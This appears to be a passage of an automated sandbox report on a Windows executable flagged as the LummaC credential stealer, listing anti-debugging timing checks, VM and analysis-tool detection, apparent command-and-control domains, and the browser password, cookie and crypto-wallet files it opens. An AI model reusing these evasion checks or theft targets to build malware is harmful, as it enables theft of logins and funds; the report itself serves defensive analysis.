Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE38A0 second address: 6DE38A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE38A4 second address: 6DE38BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FCD80B38A0Fh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE38BB second address: 6DE38EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jno 00007FCD80B68F1Eh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 pushad 0x00000013 jmp 00007FCD80B68F21h 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE38EB second address: 6DE38EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE38EF second address: 6DE3924 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a pushad 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f popad 0x00000010 push ecx 0x00000011 jmp 00007FCD80B68F29h 0x00000016 pop ecx 0x00000017 popad 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE3924 second address: 6DE3928 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE3928 second address: 6DE399E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F29h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 ja 00007FCD80B68F18h 0x0000000f popad 0x00000010 pop eax 0x00000011 sub ecx, dword ptr [ebp+122D2AEAh] 0x00000017 xor esi, dword ptr [ebp+122D297Ah] 0x0000001d push 00000003h 0x0000001f push 00000000h 0x00000021 push eax 0x00000022 call 00007FCD80B68F18h 0x00000027 pop eax 0x00000028 mov dword ptr [esp+04h], eax 0x0000002c add dword ptr [esp+04h], 00000014h 0x00000034 inc eax 0x00000035 push eax 0x00000036 ret 0x00000037 pop eax 0x00000038 ret 0x00000039 push 00000000h 0x0000003b xor esi, dword ptr [ebp+122D2B82h] 0x00000041 push 00000003h 0x00000043 mov edx, dword ptr [ebp+122D2FA8h] 0x00000049 call 00007FCD80B68F19h 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 je 00007FCD80B68F16h 0x00000057 push ecx 0x00000058 pop ecx 0x00000059 popad 0x0000005a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE399E second address: 6DE39C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B38A0Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jng 00007FCD80B38A1Ch 0x00000010 pushad 0x00000011 jmp 00007FCD80B38A0Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE39C9 second address: 6DE39DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jne 00007FCD80B68F16h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE39DE second address: 6DE39E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FCD80B38A06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE39E8 second address: 6DE3A33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FCD80B68F27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007FCD80B68F20h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007FCD80B68F22h 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE3A33 second address: 6DE3A3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FCD80B38A06h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE3A3D second address: 6DE3A74 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 mov di, B7ECh 0x0000000d lea ebx, dword ptr [ebp+124595A6h] 0x00000013 mov esi, dword ptr [ebp+122D294Eh] 0x00000019 xchg eax, ebx 0x0000001a jbe 00007FCD80B68F1Eh 0x00000020 jnl 00007FCD80B68F18h 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 jne 00007FCD80B68F1Ch 0x0000002f rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE3A74 second address: 6DE3A79 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE3B5D second address: 6DE3B68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE3B68 second address: 6DE3B6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	RDTSC instruction interceptor: First address: 6DE3B6C second address: 6DE3BC8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pop eax 0x00000008 push 00000000h 0x0000000a push edx 0x0000000b call 00007FCD80B68F18h 0x00000010 pop edx 0x00000011 mov dword ptr [esp+04h], edx 0x00000015 add dword ptr [esp+04h], 0000001Bh 0x0000001d inc edx 0x0000001e push edx 0x0000001f ret 0x00000020 pop edx 0x00000021 ret 0x00000022 push 00000003h 0x00000024 mov edi, esi 0x00000026 push 00000000h 0x00000028 stc 0x00000029 push 00000003h 0x0000002b call 00007FCD80B68F19h 0x00000030 push eax 0x00000031 push edx 0x00000032 jns 00007FCD80B68F2Dh 0x00000038 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Special instruction interceptor: First address: 1008BC8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Special instruction interceptor: First address: 11A1AF1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Special instruction interceptor: First address: 11B5E87 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Special instruction interceptor: First address: 122ACF9 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Special instruction interceptor: First address: 6E196D1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Special instruction interceptor: First address: 6C5D92F instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\Desktop\SMmAznmdAa.exe TID: 760

Thread sleep time: -270000s >= -30000s

Jump to behavior

Source: C:\Users\user\Desktop\SMmAznmdAa.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: SMmAznmdAa.exe, SMmAznmdAa.exe, 00000000.00000002.1899505675.0000000001186000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: SMmAznmdAa.exe, 00000000.00000003.1651972493.00000000062D5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001947000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1637025679.0000000001947000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1688108094.0000000001947000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1689009922.0000000001947000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000002.1900386450.0000000001947000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000002.1900386450.0000000001908000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1805307717.0000000001947000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: SMmAznmdAa.exe, 00000000.00000002.1900386450.000000000199A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: SMmAznmdAa.exe, 00000000.00000002.1900386450.000000000199A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: SMmAznmdAa.exe, 00000000.00000002.1899505675.0000000001186000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: SMmAznmdAa.exe, 00000000.00000003.1652214038.0000000006267000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\SMmAznmdAa.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\SMmAznmdAa.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Thread information set: HideFromDebugger			Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Thread information set: HideFromDebugger			Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: NTICE
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: SICE
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Process queried: DebugPort	Jump to behavior

HIPS / PFW / Operating System Protection Evasion

LummaC encrypted strings found

Source: SMmAznmdAa.exe	String found in binary or memory: cloudewahsj.shop
Source: SMmAznmdAa.exe	String found in binary or memory: noisycuttej.shop
Source: SMmAznmdAa.exe	String found in binary or memory: rabidcowse.shop
Source: SMmAznmdAa.exe	String found in binary or memory: framekgirus.shop
Source: SMmAznmdAa.exe	String found in binary or memory: tirepublicerj.shop
Source: SMmAznmdAa.exe	String found in binary or memory: abruptyopsn.shop
Source: SMmAznmdAa.exe	String found in binary or memory: wholersorie.shop
Source: SMmAznmdAa.exe	String found in binary or memory: fancywaxxers.shop
Source: SMmAznmdAa.exe	String found in binary or memory: nearycrepso.shop

Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=SMmAznmdAa.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=SMmAznmdAa.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0			Jump to behavior

Source: SMmAznmdAa.exe, SMmAznmdAa.exe, 00000000.00000002.1899505675.0000000001186000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: lProgram Manager

Source: C:\Users\user\Desktop\SMmAznmdAa.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\SMmAznmdAa.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: SMmAznmdAa.exe, 00000000.00000003.1710511321.000000000199C000.00000004.00000020.00020000.00000000.sdmp, SMmAznmdAa.exe, 00000000.00000003.1699151130.000000000199C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\SMmAznmdAa.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: SMmAznmdAa.exe PID: 1456, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: SMmAznmdAa.exe, 00000000.00000003.1710511321.000000000199C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ["*"],"z":"Wallets/Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":}
Source: SMmAznmdAa.exe, 00000000.00000003.1710511321.000000000199C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ["*"],"z":"Wallets/Electrum-LTC","d":0,"fs":20971520},{"t":0,"p":"%appdata%\\ElectronCash\\wallets","m":}
Source: SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/JAXX New Version
Source: SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: SMmAznmdAa.exe, 00000000.00000003.1698307784.0000000001947000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: SMmAznmdAa.exe, 00000000.00000003.1668963495.0000000001996000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: SMmAznmdAa.exe, 00000000.00000002.1900386450.000000000193A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\SMmAznmdAa.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
